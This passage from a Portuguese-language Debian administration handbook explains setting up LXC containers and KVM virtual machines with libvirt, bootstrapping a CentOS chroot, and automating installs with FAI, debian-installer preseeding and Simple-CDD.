queremos, nós iremos editar o arquivo de configuração do container (/var/lib/lxc/testlxc/
config) e adicionar algumas entradas lxc.network.*:
lxc.network.type = veth
lxc.network.flags = up
lxc.network.link = br0
lxc.network.hwaddr = 4a:49:43:49:79:20

Essas entradas significam, respectivamente, que uma interface virtual será criada no container;
que ela irá, automaticamente, ser levantada quando o dito container for iniciado; que ela será,
automaticamente, ser conectada a brigde br0 no hospedeiro; e que seu endereço MAC será o
como especificado. Caso essa última entrada estaja faltando ou desabilitada, um endereço MAC
aleatório será gerado.
Outra entrada útil nesse arquivo é a configuração de uma nome para o hospedeiro:
lxc.utsname = testlxc

Inicializando o Contêiner

Agora que nossa imagem da máquina virtual está pronta, vamos inicializar o contêiner:
root@mirwiz:~# lxc-start --daemon --name=testlxc
root@mirwiz:~# lxc-console -n testlxc
Debian GNU/Linux 8 testlxc tty1

testlxc login: root
Password:
Linux testlxc 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt11-1 (2015-05-24) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@testlxc:~# ps auxwf
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 28164 4432 ? Ss 17:33 0:00 /sbin/init
root 20 0.0 0.1 32960 3160 ? Ss 17:33 0:00 /lib/systemd/systemd-journald
root 82 0.0 0.3 55164 5456 ? Ss 17:34 0:00 /usr/sbin/sshd -D
root 87 0.0 0.1 12656 1924 tty2 Ss+ 17:34 0:00 /sbin/agetty --noclear tty2

å linux
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root 88 0.0 0.1 12656 1764 tty3 Ss+ 17:34 0:00 /sbin/agetty --noclear tty3
å linux

root 89 0.0 0.1 12656 1908 tty4 Ss+ 17:34 0:00 /sbin/agetty --noclear tty4
å linux

root 90 0.0 0.1 63300 2944 tty1 Ss 17:34 0:00 /bin/login --
root 117 0.0 0.2 21828 3668 tty1 S 17:35 0:00 \_ -bash
root 268 0.0 0.1 19088 2572 tty1 R+ 17:39 0:00 \_ ps auxfw
root 91 0.0 0.1 14228 2356 console Ss+ 17:34 0:00 /sbin/agetty --noclear --keep-

å baud console 115200 38400 9600 vt102
root 197 0.0 0.4 25384 7640 ? Ss 17:38 0:00 dhclient -v -pf /run/dhclient.

å eth0.pid -lf /var/lib/dhcp/dhclient.e
root 266 0.0 0.1 12656 1840 ? Ss 17:39 0:00 /sbin/agetty --noclear tty5

å linux
root 267 0.0 0.1 12656 1928 ? Ss 17:39 0:00 /sbin/agetty --noclear tty6

å linux
root@testlxc:~#

Nós agora estamos dentro do container; nosso acesso aos processos é restrito apenas aqueles
que foram iniciados a partir do próprio container, e nosso acesso ao sistema de arquivos é simi-
larmente restrito ao subconjunto do sistema de arquivos completo dedicado (/var/lib/lxc/
testlxc/rootfs). Nós podemos sair do console com Control+a q.
Note que nós executamos o container como um processo em segundo plano, graças a op-
ção --daemon do lxc-start. Nós podemos interromper o container com um comando como
lxc-stop --name=testlxc.
O pacote lxc contém um script de inicialização que pode iniciar automaticamente um ou vários
containers quando a máquina inicia (ele faz uso do lxc-autostart que inicia os containers que
tem a opção lxc.start.auto definida como 1). Controle mais afinado da ordem de início é possível
com lxc.start.order e lxc.group: por padrão, o script de inicialização primeiro inicia os containers
que são parte do grupo onboot e então os containers que não fazem parte de nenhum grupo. Em
ambos os casos, a ordem dentro de um grupo é definida pela opção lxc.start.order.

APROFUNDAMENTO

Virtualização em massa
Como o LXC é um sistema de isolamento muito peso leve, ele pode ser particu-
larmente adaptado par uma maciça hospedagem de servidores virtuais. A confi-
guração de rede provavelmente será um pouco mais avançada do que a que nós
descrevemos acima, mas a configuração “rica”, usando as interfaces tap e veth
deverá ser suficiente em muitos casos.

Também pode fazer sentido compartilhar parte do sistema de arquivos, como os
subdiretórios /usr e /lib, a fim de evitar a duplicação de software que possa ser
comum a vários containers. Isso irá, geralmente, ser alcançado com as entradas
lxc.mount.entry no arquivo de configuração dos containers. Um interessante
efeito colateral é que os processos irão então usar menos memória física, já que o
núcleo é capaz de detectar que os programas são compartilhados. O customarginal
de um container extra pode então ser reduzido a espaço de disco dedicado para
seus dados específicos, e alguns processos extras que o núcleo tem que agendar e
gerenciar.

Nós não descrevemos todas as opções disponíveis, é claro; informações mais
completas podem ser obtidas a partir das páginas de manual lxc(7) e
lxc.container.conf(5) e aquelas que elas referenciam.
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12.2.3. Virtualização com KVM

KVM, que significa Kernel-based Virtual Machine, é primeiro, e antes de tudo, um módulo do nú-
cleo que fornece a maior parte da infraestrutura que pode ser usada por um virtualizador, mas
não é por si só um virtualizador. O real control para a virtualização é tratado por um aplicativo
com base no QEMU. Não se preocupe se essa seção menciona os comandos qemu-*: ela continua
sendo sobre KVM.
Ao contrário de outros sistemas de virtualização, o KVM foi incorporado ao núcleo Linux desde
o seu início. Seus desenvolvedores escolheram tirar vantagem do conjunto de instruções do
processador dedicado a virtualização (Intel-VT e AMD-V), o quemantém o KVM leve, elegante e
sem fome por recursos. A contraparte, claro, é que o KVM não funciona em qualquer computa-
dor, mas apenas naqueles com os processadores apropriados. Para computadores baseados em
x86, você pode verificar que você tem tal processador procurando por “vmx” ou “svm” nas flags
da CPU listadas em /proc/cpuinfo.
Com a Red Hat ativamente suportando seu desenvolvimento, o KVM se tornou mais ou menos a
referência na virtualização do Linux.

Etapas Preliminares

Ao contrário de ferramentas como o VirtualBox, o KVM em si não inclui nenhuma interface de
usuário para a criação de gerenciamento de máquinas virtuais. O pacote qemu-kvm apenas for-
nece um executável capaz de iniciar umamáquina virtual, assim como um script de inicialização
que carrega os módulos do núcleo apropriados.
Felizmente, a Red Hat também fornece outro conjunto de ferramentas para resolver esse pro-
blema, tendo desenvolvido a biblioteca libvirt e as ferramentas do gerenciador demáquinas virtuais
associadas. A libvirt permite o gerenciamento de máquinas virtuais de maneira uniforme, inde-
pendentemente do sistema de virtualização envolvido nos bastidores (ela atualmente suporta
QEMU, KVM, Xen, LXC, OpenVZ, VirtualBox, VMWare e UML). O virtual-manager é uma inter-
face gráfica que usa a libvirt para criar e gerenciar máquinas virtuais.
Nós primeiro instalamos os pacotes necessários, com apt-get install qemu-kvm
libvirt-bin virtinst virt-manager virt-viewer. O libvirt-bin fornece o daemon
libvirtd, que permite o gerenciamento (potencialmente remoto) de máquinas virtuais
rodando no host, e inicia as VMs necessárias quando o host inicializa. Além disso, esse pacote
fornece a ferramenta de linha de comando virsh, que permite o controle das máquinas
gerenciadas pelo libvirtd.
O pacote virtinst fornece o virt-install, o qual permite a criação demáquinas virtuais a partir
da linha de comando. E finalmente, o virt-viewer que permite o acessar o console gráfico das
VM’s.
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Configuração de Rede

Assim como no Xen e no LXC, a configuração de rede mais freqüente envolve uma brigde agru-
pando as intefaces de rede das máquinas virtuais (see Seção 12.2.2.2, “Configuração de Rede”
[348]).
Alternativamente, e na configuração padrão fornecida pelo KVM, um endereço privado é atri-
buído a máquina virtual (no intervalo 192.168.122.0/24), e o NAT é configurado para que a VM
possa acessar a rede externa.
O restante desta seção assume que o host tem uma interface física eth0 e uma bridge br0, e que
a primeira está conectada a última.

Instalação com virt-install

A criação de umamáquina virtual émuito similar a instalação de um sistema normal, exceto que
as características da máquina virtual são descritas em uma linha de comando aparentemente
interminável.
Em termos práticos, isso significa que nós iremos usar o instalador Debian, inicializando a má-
quina virtual pelo drive DVD-ROM virtual que é mapeado para uma imagem de DVD do Debian
armazenada no sistema do host. A VM irá exportar seu console gráfico pelo protocolo VNC (see
Seção 9.2.2, “Usando Ambientes Gráficos Remotamente” [207] for details), o que irá nos permitir
controlar o processo de instalação.
Nós primeiro precisamos avisar o libvirtd aonde armazenar as imagens de disco, a não ser que
a localização padrão (/var/lib/libvirt/images/) seja boa.
root@mirwiz:~# mkdir /srv/kvm
root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm
Pool srv-kvm created

root@mirwiz:~#

DICA

Adicione seu usuário ao
grupo libvirt

Todos os exemplos nesta seção assumemque você está executando comandos como
root. Efetivamente, se você quer controlar um serviço (”daemon”) libvirt local, você
precisa ou ser root ou ser membro do grupo libvirt (o que por padrão não é o
caso). Assim, se você quer evitar ficar usando direitos de root com frequência, você
pode adicionar a si próprio ao grupo libvirt e rodar os vários comandos com a
identidade de seu usuário.

Vamos agora iniciar o processo de instalação da máquina virtual, e ter um olhar mais atento
nas mais importantes opções do virt-install. Esse comando registra a máquina virtual e seus
parâmetros no libvirtd, e então, a inicia, para que a sua instalação possa prosseguir.

# virt-install --connect qemu:///system x1
--virt-type kvm x2
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--name testkvm x3
--ram 1024 x4
--disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 x5
--cdrom /srv/isos/debian-8.1.0-amd64-netinst.iso x6
--network bridge=br0 x7
--vnc x8
--os-type linux x9
--os-variant debianwheezy

Starting install...
Allocating ’testkvm.qcow’ | 10 GB 00:00
Creating domain... | 0 B 00:00
Guest installation complete... restarting guest.

x1 A opção --connect especifica o “hypervisor” a ser usado. Sua forma é a de uma URL con-
tendo o sistema de virtualização (xen://, qemu://, lxc://, openvz://, vbox://, e assim por di-
ante) e a máquina que deve hospedar a VM (isso pode ser deixado vazio, no caso de ser
um hospedeiro local). Além disso, no caso do QEMU/KVM, cada usuário pode gerenciar
máquinas virtuais trabalhando com permissões restritas, e o caminho da URL permite
diferenciar máquinas do “sistema” (/system) de outras (/session).x2 Como o KVM é gerenciado da mesma maneira que o QEMU, o --virt-type kvm permite
especificar o uso do KVM, mesmo que a URL se pareça com a do QEMU.x3 A opção --name define um nome (específico) para a máquina virtual.x4 A opção --ram permite especificar a quantidade de RAM (em MB) a ser alocada para a
máquina virtual.x5 A --disk especifica a localização do arquivo de imagem que irá representar nosso disco
rígidodamáquina virtual; esse arquivo é criado, se não estiver presente, com tamanho(em
GB) especificado pelo parâmetro size. O parâmetro format permite escolher, entre várias
maneiras, o armazenamento do arquivo de imagem. O formato padrão (raw) é um arquivo
único que corresponde exatamente ao tamanho do disco e seu conteúdo. Nós pegamos
um formato mais avançado aqui, que é específico para o QEMU e permite iniciar com um
pequeno arquivo que só cresce quando amáquina virtual realmente começa a usar espaço.x6 A opção --cdrom é usada para indicar aonde encontrar o disco ótico para usar na instala-
ção. O caminho pode ser tanto um caminho local para um arquivo ISO, uma URL aonde o
arquivo pode ser obtido, ou um arquivo de dispositivo de um drive físico de CD-ROM (por
exemplo /dev/cdrom).x7 A --network especifica como a placa de rede virtual se integra na configuração de rede
do hospedeiro. O comportamento padrão (o qual nós explicitamente forçamos em nosso
exemplo) é para integrá-la em qualquer bridge de rede préexistente. Se tal bridge não
existe, a máquina virtual irá apenas alcançar a rede física através de NAT, ficando em um
intervalo de endereço da sub-rede privada (192.168.122.0/24).
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x8 --vnc determina que o console gráfico de ser disponibilizado usando o VNC. O compro-
tamento padrão para o servidor VNC associado é para apenas escutar na interface lo-
cal; se um cliente VNC tiver que ser executado em um host diferente, para estabelecer
a conexão será necessário a configuração de um túnel SSH (veja Seção 9.2.1.3, “Criando
Túneis Criptografados com Encaminhamento de Porta” [205]). Alternativamente, a --
vnclisten=0.0.0.0 pode ser usada para que o servidor VNC seja acessível a partir de todas
as interfaces; note que se você fizer isso, você realmente deve projetar seu firewall de
maneira apropriada.x9 As opções --os-type e --os-variant permitem a otimização de alguns parâmetros de má-
quina virtual, combase emalgumas das conhecidas características do sistemaoperacional
ali mencionadas.

Nesse ponto, a máquina virtual está rodando, e nós precisamos nos conectar ao console gráfico
para prosseguir com o processo de instalação. Se a operação prévia foi executada a partir de um
ambiente gráfico, essa conexão deve ser iniciada automaticamente. Se não, ou se nós operamos
remotamente, o virt-viewerpode ser rodado apartir de qualquer ambiente gráfico para abrir o
console gráfico (note que a senha do root do host remoto é pedida duas vezes porque a operação
requer 2 conexões SSH):
$ virt-viewer --connect qemu+ssh://root@server/system testkvm
root@server’s password:
root@server’s password:

Quando o processo de instalação terminar, a máquina virtual é reiniciada, e agora pronta para
o uso.

Gerenciando Máquina com virsh

Agora que instalação está feita, vamos ver como lidar com as máquinas virtuais disponíveis. A
primeira coisa a tentar é pedir ao libvirtd a lista de máquinas virtuais que ele gerencia:
# virsh -c qemu:///system list --all
Id Name State
----------------------------------
- testkvm shut off

Vamos iniciar nossa máquina virtual de teste:
# virsh -c qemu:///system start testkvm
Domain testkvm started

Nós podemos agora pegar as instruções de conexão para o console gráfico (o visor VNC retor-
nado pode ser dado como parâmetro para o vncviewer):
# virsh -c qemu:///system vncdisplay testkvm
:0
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Outros subcomandos disponíveis para o virsh incluem:

• reboot reinicia uma máquina virtual;

• shutdown para ativar um desligamento limpo;

• destroy, para parar abruptamente;

• suspend para pausar a mesma;

• resume para despausar a mesma;

• autostart para habilitar (ou desabilitar, com a opção --disable) o início da máquina virtual
automaticamente quando o hospedeiro é iniciado;

• undefine para remover todos os registros de uma máquina virtual do libvirtd.

Todos esses subcomandos têm como parâmetro a identificação da máquina virtual.

Instalando um sistema baseado em RPM no Debian com o yum

Se a máquina virtual está destinada a rodar um Debian (ou um dos seus derivados), o sistema
pode ser inicializado com o debootstrap, como descrito acima. Mas se a máquina virtual for
para ser instalada em um sistema baseado em RPM (como o Fedora, CentOS ou Scientific Linux),
a configuração terá de ser feita usando o utilitário yum (disponível pelo pacote demesmo nome).
O procedimento necessita do uso do rpm para extrair um conjunto inicial de arquivos, incluindo,
notávelmente, os arquivos configuração do yum, e então chamar o yum para extrair o conjunto de
pacotes remanecentes. Mas como nós chamamos o yum a partir do lado de fora do chroot, nós
precisamos fazer algumas mudanças temporárias. No exemplo abaixo, o chroot alvo é /srv/
centos.

# rootdir=”/srv/centos”
# mkdir -p ”$rootdir” /etc/rpm
# echo ”%_dbpath /var/lib/rpm” > /etc/rpm/macros.dbpath
# wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-1.1503.

å el7.centos.2.8.x86_64.rpm
# rpm --nodeps --root ”$rootdir” -i centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm
rpm: RPM should not be used directly install RPM packages, use Alien instead!
rpm: However assuming you know what you are doing...
warning: centos-release-7-1.1503.el7.centos.2.8.x86_64.rpm: Header V3 RSA/SHA256

å Signature, key ID f4a80eb5: NOKEY
# sed -i -e ”s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g” $rootdir/etc/yum.

å repos.d/*.repo
# yum --assumeyes --installroot $rootdir groupinstall core
[...]
# sed -i -e ”s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g” $rootdir/etc/yum.

å repos.d/*.repo
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12.3. Instalação Automatizada

Os administradores da Falcot Corp, comomuitos administradores de grandes serviços de TI, pre-
cisam de ferramentas para instalar (ou reinstalar) rapidamente, e automaticamente se possível,
suas novas máquinas.
Essas exigências podem ser atendidas por uma ampla gama de soluções. Por um lado, ferra-
mentas genéricas como a SystemImager lidam com isso criando uma imagem baseada em uma
máquina modelo, e então, implantam essa imagem nos sistemas alvo; no extremo oposto do es-
pectro, o instalador Debian padrão pode ser pré alimentado com um arquivo de configuração
contendo as repostas das questões perguntadas durante o processo de instalação. Como um tipo
de meio termo, uma ferramenta híbrida como a FAI (Fully Automatic Installer) instala máquinas
usando o sistema de empacotamento, mas ela também usa sua própria infraestrutura para ta-
refas que são mais específicas para implantações em massa (como iniciação, particionamento,
configuração e assim por diante).
Cada uma dessas soluções tem seus prós e contras: o SystemImager trabalha de maneira inde-
pendente de qualquer sistema de empacotamento em particular, o que permite a ele gerenciar
grandes conjuntos de máquinas usando várias distribuições Linux distintas. Ele também inclui
um sistema de atualização que não requer uma reinstalação, mas esse sistema de atualização
só será confiável se as máquinas não forem modificadas de forma independente; em outras pa-
lavras, o usuário não pode atualizar nenhum software por conta própria, ou instalar qualquer
outro software. De maneira similar, atualizações de segurança não podem ser automatizadas,
porque elas tem que passar pela imagem de referência centralizada mantida pelo SystemIma-
ger. Essa solução também requer que as máquinas alvo sejam homogêneas, caso contrário mui-
tas imagens diferentes teriam que sermantidas e gerenciadas (uma imagem i386 não caberia em
uma máquina powerpc, e assim por diante).
Por outro lado, uma instalação automatizada usando o debian-installer pode ser adaptada para
as especificações de cadamáquina: o instalador irá buscar o núcleo apropriado e pacotes de soft-
ware nos repositórios relevantes, detectar o hardware disponível, particionar todo o disco rígido
para tirar vantagem de todo o espaço disponível, instalar o sistema Debian correspondente, e
configurar um gerenciador de inicialização de maneira apropriada. Contudo, o instalador pa-
drão irá apenas instalar as versões padrão do Debian, com o sistema base e um conjunto de
”tarefas” pré selecionadas; isso exclui a instalação de um sistema específico com aplicações não
empacotáveis. Preencher essa necessidade em particular requer customizar o instalador… Fe-
lizmente, o instalador é muito modular, e existem ferramentas para automatizar a maior parte
do trabalho necessário para essa customização, a mais importante o simple-CDD (CDD sendo um
acrônimo para Custom Debian Derivative). Mas mesmo a solução simple-CDD, entretanto, apenas
lida com instalações iniciais; mas isso geralmente não é umproblema, já que as ferramentas APT
permitem uma implantação eficiente de atualizações posteriormente.
Nós iremos apenas dar uma olhada grosseira no FAI, e pular o SystemImager de uma vez (que
não está mais no Debian), a fim de focar mais atentamente no debian-installer e simple-CDD,
que são mais interessantes num contexto somente Debian.
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12.3.1. Instalador Completamente Automático (FAI)

Instalador Completamente Automático (Fully Automatic Installer) é provavelmente o mais antigo sis-
tema de implantação automatizada para Debian, o que explica seu status como uma referência;
mas sua natureza muito flexível apenas compensa a complexidade que ele envolve.
O FAI requer um sistema de serivdor para armazenar informação da implantação e permitir
que as máquinas alvo inicializem a partir da rede. Esse servidor requer o pacote fai-server (ou
fai-quickstart, que também traz os elementos necessários para uma configuração padrão).
O FAI usa uma abordagem específica para definir os vários perfis instaláveis. Em vez de sim-
plesmente duplicar uma instalação de referência, o FAI é um instalador de pleno direito (full-
fledged), totalmente configurável através de um conjunto de arquivos e scripts armazenados no
servidor; a localização padrão /srv/fai/config/ não é criado automaticamente, então o admi-
nistrador precisa criá-lo juntamente com os arquivos relevantes. Na maioria das vezes, esses
arquivos serão customizados a partir de arquivos exemplo disponíveis na documentação do pa-
cote fai-doc, mais particularmente no diretório /usr/share/doc/fai-doc/examples/simple/.
Uma vez que os perfis estejam definidos, o comando fai-setup gera os elementos necessários
para iniciar uma instalação FAI; isso significa principalmente preparar uo atualizar um sistema
mínimo (NFS-root) usado durante a instalação. Uma alternativa é gerar um CD de inicialização
dedicado com o fai-cd.
Para criar todos esses arquivos de configuração é necessário algum entendimento da maneira a
qual o FAI funciona. Um processo de instalação típico é feito dos passos seguintes:

• pegar um núcleo da rede, e iniciá-lo;
• montar um sistema de arquivo raiz de um NFS;
• executar /usr/sbin/fai, o qual controla o resto do processo (os próximos passos por-
tanto são iniciados por este roteiro);

• copiar o espaço de configuração do servidor para /fai/;
• rodando fai-class. Os scripts /fai/class/[0-9][0-9]* são executados em turnos, e
retornam nomes de “classes” que se aplicam a máquina que está sendo instalada; essa in-
formação irá servir como base para as etapas seguintes. Isso permite alguma flexibilidade
na definição de serviços a serem instalados e configurados.

• buscando várias variáveis de configuração, dependendo das classes relevantes;
• particionar os discos e formatar as partições com base nas informações fornecidas em
/fai/disk_config/class;

• montar essas partições;
• instalar o sistema base;
• preparar o banco de dados Debconf com fai-debconf;
• buscar a lista de pacotes disponíveis para o APT;
• instalar os pacotes listados em /fai/package_config/class;
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• executar os scripts de pós configuração, /fai/scripts/class/[0-9][0-9]*;
• gravar os registros de instalação, desmontar as partições e reinicializar o computador.

12.3.2. Preseeding Debian-Installer

No final das contas, a melhor ferramenta para instalar sistemas Debian deve ser, logicamente,
o instalador Debian oficial. Isso é porque, desde sua concepção, o debian-installer tem sido
projetado para o uso automatizado, tirando vantagem da infraestrutura fornecida pelo debconf.
Esse último permite, por um lado, reduzir o número de perguntas feitas (perguntas ocultas irão
usar as respostas padrão fornecidas), e por outro lado, para fornecer respostas padrão separa-
damente, para que a instalação possa ser não-interativa. Essa última característica é conhecida
como preseeding.

INDO ALÉM

Debconf com um banco
de dados centralizado

O Preseeding permite fornecer um conjunto de respostas às perguntas do Deb-
conf no momento da instalação, mas essas respostas são estáticas e não evoluem
com o passar do tempo. Como máquinas já instaladas talvez precisem de atualiza-
ção, e novas respostas talvez venham a ser necessárias, o arquivo de configuração
/etc/debconf.conf pode ser configurado para que o Debconf use fontes de dados
externas (como um servidor de diretório LDAP, ou um arquivo remoto acessado via
NFS ou Samba). Várias fontes de dados externas podem ser definidas ao mesmo
tempo, e elas se complementam. O banco de dados local ainda é usado (para acesso
leitura-escrita), mas os bancos de dados remotos são, geralmente, restritos a leitura.
A página de manual debconf.conf(5) descreve todas as possibilidades em deta-
lhes. (você precisa do pacote debconf-doc).

Usando um Arquivo Preseed

Existem vários lugares aonde o instalador pode obter um arquivo preseeding:

• Dentro do initrd ,usado para iniciar a máquina; neste caso, o preseeding acontece bem no
início da instalação, e todas as perguntas podem ser evitadas. O arquivo apenas precisa
ser chamado preseed.cfg e armazenado dentro da raiz do initrd.

• na mídia de inicialização (CD ou dispositivo USB); o preseeding então acontece assim que
a mídia é montada, o que significa ser logo após as perguntas sobre idioma e layout do te-
clado. O parâmetro de inicialização preseed/file pode ser usado para indicar a localização
do arquivo preseeding (por exemplo, /cdrom/preseed.cfg quando a instalação é feita
por um CD-ROM, ou /hd-media/preseed.cfg no caso de um dispositivo USB).

• a partir da rede; o preseeding então apenas acontece após a rede ser confi-
gurada (automaticamente); o parâmetro de inicialização relevante é então prese-
ed/url=http://server/preseed.cfg.

De relance, incluir o arquivo preseeding dentro do initrd parece ser a soluçãomais interessante;
no entanto, ela raramente é usada na prática, porque gerar um initrd instalador é bemcomplexo.
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As outras duas soluções são muito mais comuns, especialmente quando os parâmetros de inici-
alização fornecem outra maneira de fazer ”preseed” das respostas para as primeiras perguntas
do processo de instalação. A maneira usual de evitar o incômodo de digitar esses parâmetro de
inicialização amanualmente a cada instalação é salvá-los na configuração do isolinux (no caso
do CD-ROM) ou syslinux (dispositivo USB).

Criando um Arquivo Preseed

Um arquivo preseed é um arquivo de texto puro, aonde cada linha contém a resposta para uma
pergunta do Debconf. A linha é dividida em quatro campos separados por espaço em branco
(espaços ou tabs), com em, por exemplo, d-i mirror/suite string stable:

• o primeiro campo é o “dono” da pergunta; “d-i” é usado para perguntas relevantes para o
instalador, mas ele também pode ser um nome de pacote para perguntas vindas a partir
de pacotes Debian;

• o segundo campo é um identificador para a pergunta;

• terceiro, o tipo de pergunta;

• o quarto e último campo contém o valor para a resposta. Note que ele tem que ser separa-
dor do terceiro campo com um único espaço; se existir mais de um, os caracteres espaço
seguintes serão considerados parte do valor.

A maneira mais simples de escrever um arquivo preseed é instalar o sistema manualmente. En-
tão o debconf-get-selections --installer irá prover as respostas com relação ao instala-
dor. Respostas sobre outros pacotes podem ser obtidas com debconf-get-selections. No
entanto, uma solução mais limpa é escrever o arquivo preseed manualmente, iniciando a partir
de um exemplo e da documentação de referência: com tal abordagem, apenas perguntas aonde
a resposta padrão precisa ser sobrescrita podem se submeter ao preseeded; usando o parâmetro
de inicialização priority=critical irá instruir o Debconf a apenas perguntar questões criticas, e
usar a resposta padrão para as outras.

DOCUMENTAÇÃO

Apêndice do guia de
instalação

O guia de instalação, disponível online, inclui documentação detalhada sobre o uso
de um arquivo preseed em um apêndice. Ele também inclui um arquivo de amostra
detalhado e comentado, que pode servir como base para customizações locais.

è https://www.debian.org/releases/jessie/amd64/apb.html

è https://www.debian.org/releases/jessie/example-preseed.txt

Criando uma Mídia de Inicialização Customizada

Saber aonde armazenar um arquivo preseed é muito bom, mas a localização não é tudo: é pre-
ciso, de uma forma ou de outra, alterar a mídia de inicialização de instalação para mudar os
parâmetros de inicialização e adicionar o arquivo preseed.
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Inicializando a Partir da Rede Quando um computador é inicializado a partir da rede, o ser-
vidor que envia os elementos de inicialização também define os parâmetros de inicialização.
Assim, a alteração precisa ser feita na configuração PXE do servidor de inicialização; mais espe-
cificamente, no seu arquivo de configuração /tftpboot/pxelinux.cfg/default. Configurar a
inicialização pela rede é um pré-requisito; veja o Guia de Instalação para detalhes.
è https://www.debian.org/releases/jessie/amd64/ch04s05.html

Preparando um Dispositivo USB Inicializável Uma vez que um dispositivo inicializável te-
nha sido preparado (veja Seção 4.1.2, “Iniciando a partir de um pendrive” [51]), algumas ope-
rações extras são necessárias. Assumindo que o conteúdo do dispositivo está disponível em
/media/usbdisk/:

• copiar o arquivo preseed para /media/usbdisk/preseed.cfg

• editar /media/usbdisk/syslinux.cfg e adicionar os parâmetros de inicialização neces-
sários (veja o exemplo abaixo).

Exemplo 12.2 arquivo syslinux.cfg e parâmetros preseeding

default vmlinuz
append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us

å country=US vga=788 initrd=initrd.gz --

Criando uma Imagem de CD-ROM Um dispositivo USB é uma mídia de leitura-escrita, então
foi fácil para nós adicionar um arquivo lá e alterar alguns parâmetros. No caso do CD-ROM, a
operação émais complexa, já que nós precisamos refazer uma imagem ISO completa. Essa tarefa
é feita pelo debian-cd, mas essa ferramenta é um pouco mais complicada de usar: ela precisa de
um espelho local, e requer o entendimento de todas as opções fornecidas pelo /usr/share/
debian-cd/CONF.sh; mesmo assim, o make tem que ser invocado várias vezes. /usr/share/
debian-cd/README é, portanto, uma leitura muito recomendada.
Dito isso, o debian-cd sempre opera de maneira similar: um diretório “imagem” com o con-
teúdo exato do CD-ROM é gerado, e então convertido em um arquivo ISO com uma ferramen-
tal tal como a genisoimage, mkisofs ou xorriso. O diretório da imagem é finalizado após o
passo make image-trees do debian-cd. Nesse ponto, nós inserimos o arquivo preseed dentro
do diretório apropriado (usualmente $TDIR/$CODENAME/CD1/, $TDIR e $CODENAME sendo os
parâmetros definidos pelo arquivo de configuração CONF.sh). O CD-ROM usa isolinux como
seu carregador de inicialização, e seu arquivo de configuração tem que ser adaptado a partir do
que o debian-cd gerou, a fim de inserir os parâmetros de inicialização necessários (o arquivo
específico é $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg). Então o processo “normal”
pode ser retomado e nós podemos continuar a gerar a imagem ISO com make image CD=1 (ou
make images se for para gerar vários CD-ROMs).
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12.3.3. Simple-CDD: A Solução Tudo-Em-Um

Simplesmente usar um arquivo preseed não é o suficiente para preencher todos os requerimen-
tos que possam aparecer em grandes implantações. Mesmo que seja possível executar alguns
scripts no final de processos normais de instalação, a seleção de um conjunto de pacotes a ins-
talar ainda não é muito flexível (basicamente, apenas “tarefas” podem ser selecionadas); mais
importante, isso apenas permite a instalação de pacotes Debian oficiais e impede os gerados
localmente.
Por outro lado, o debian-cd é capaz de integrar pacotes externos, e o debian-installer pode ser es-
tendido através da inserção de novas etapas no processo de instalação. Pela combinação dessas
capacidades, devesse ser possível criar um instalador customizado que preencha nossas neces-
sidades; deve até ser possível configurar alguns serviços após o desempacotamento dos pacotes
requeridos. Felizmente, isso não é mera hipótese, já que é exatamente isso que o Simple-CDD
(do pacote simple-cdd) faz.
O propósito do Simple-CDD é permitir que qualquer um crie, com facilidade, uma distribuição
derivada do Debian, pela seleção de um subconjunto dos pacotes disponíveis, pré configuração
deles com o Debconf, adição de software específico, e execução de scripts customizados no fi-
nal do processo de instalação. Isso confirma a filosofia “sistema operacional universal”, já que
qualquer um pode adaptar o Debian à sua própria necessidade.

Criando Perfis

O Simple-CDD define “perfis” que coincidem com o conceito “classes” FAI e uma máquina pode
ter vários perfis (determinados no momento da instalação). Um perfil é definido por um con-
junto de arquivos profiles/profile.*:

• o arquivo .description contém uma descrição de uma linha para o perfil;
• o arquivo .packages lista os pacotes que irão ser instalados automaticamente caso o perfil
seja selecionado;

• o arquivo .downloads lista os pacotes que serão armazenados namídia de instalação, mas
não necessariamente instalados;

• o arquivo .preseed contém as informações preseeding para as perguntas do Debconf
(para o instalador e/ou para os pacotes);

• o arquivo .postinst contém um script que será executado no final do processo de insta-
lação;

• por fim, o arquivo .conf permite alterar alguns parâmetros do Simple-CDD com base nos
perfis a serem incluídos em uma imagem.

O perfil padrão tem uma função em particular, já que ele está sempre selecionado; el contém o
mínimo necessário para o Simple-CDD funcionar. A única coisa que geralmente é customizada
nesse perfil é o parâmetro preseed simple-cdd/profiles: isso permite evitar a pergunta, introdu-
zida pelo Simple-CDD, sobre quais perfis instalar.
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Note também que os comandos precisam ser invocados a partir do diretório pai do diretório
profiles.

Configurando e Usando o build-simple-cdd

OLHADA RÁPIDA

Arquivo de configuração
detalhado

Um exemplo do arquivo de configuração do Simple-CDD, com todos os parâme-
tros possíveis, está incluído no pacote (/usr/share/doc/simple-cdd/examples/
simple-cdd.conf.detailed.gz). Ele pode sr usado como ponto de partida ao
criar um arquivo de configuração customizado.

O Simple-CDD requer muitos parâmetros para operar plenamente. Eles irão, na maioria
das vezes, estar reunidos em um arquivo de configuração, o qual pode ser informado ao
build-simple-cdd com a opção --conf, mas eles também podem ser especificados via parâme-
tros dedicados dados ao build-simple-cdd. Aqui está uma visão geral de como esse comando
se comporta, e como seus parâmetros são usados:

• o parâmetro profiles lista os perfis que serão incluídos na imagem CD-ROM gerada;
• com base na lista de pacotes requeridos, o Simple-CDD baixa os arquivos apropriados do
servidor mencionado em server, e os reúne em um espelho parcial (que mais tarde será
dado ao debian-cd);

• os pacotes customizados mencionados em local_packages também são integrados neste
espelho local;

• o debian-cd é então executado (dentro de uma local padrão que pode ser configurada com
a variável debian_cd_dir), com a lista de pacotes para integrar;

• uma vez que o debian-cd tenha preparado seu diretório, o Simple-CDD aplica algumas
mudanças nesse diretório:

– arquivos contendo os perfis são adicionados em um subdiretório simple-cdd (que
irá terminar no CD-ROM);

– outros arquivos listados no parâmetro all_extras também são adicionados;
